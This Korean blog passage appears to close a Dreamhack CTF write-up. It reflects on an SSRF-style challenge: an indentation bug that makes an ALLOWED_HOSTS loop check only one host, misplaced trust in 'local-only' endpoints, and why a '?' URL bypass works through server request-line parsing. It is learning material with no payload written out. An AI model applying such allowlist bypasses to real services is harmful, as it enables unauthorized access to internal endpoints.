내부 전용 엔드포인트라면 네트워크에서 분리하거나 별도 인증을 붙이는 게 맞다. "로컬에서만 부를 수 있으니까 괜찮다"는 가정이 이 문제의 실질적 취약점이다.
적힌 규칙과 실행되는 규칙은 다르다.
ALLOWED_HOSTS 에는 호스트가 둘 적혀 있지만 검사되는 건 하나다.
들여쓰기 한 칸 때문에 목록의 절반이 죽은 코드가 됐고, 정상 기능인 tools.dreamhack.io 도 같이 막혔다.
보안 코드를 읽을 때 목록의 길이를 규칙의 개수로 믿으면 안 된다는 게 이번에 남은 것이다.
루프 안에서 return 하는 코드는 거의 항상 한 번 더 볼 값이 있다.
환경 차이는 원리로 착각하기 쉽다.
? 우회가 왜 되는지 설명할 때, 처음엔 "curl 이 빈 쿼리를 떼고 보내니까"라고 적을 뻔했다.
내 PC 의 curl 8.14.1 이 그렇게 동작해서다.
문제 컨테이너의 curl 은 7.64.0 이고 ? 를 그대로 보낸다. 그런데도 우회는 된다.
이유가 curl 이 아니라 서버의 요청줄 파싱에 있었기 때문이다.
같은 결과라도 어디서 일어나는 일인지 확인하지 않으면 다음 문제에서 틀린 가정을 들고 가게 된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…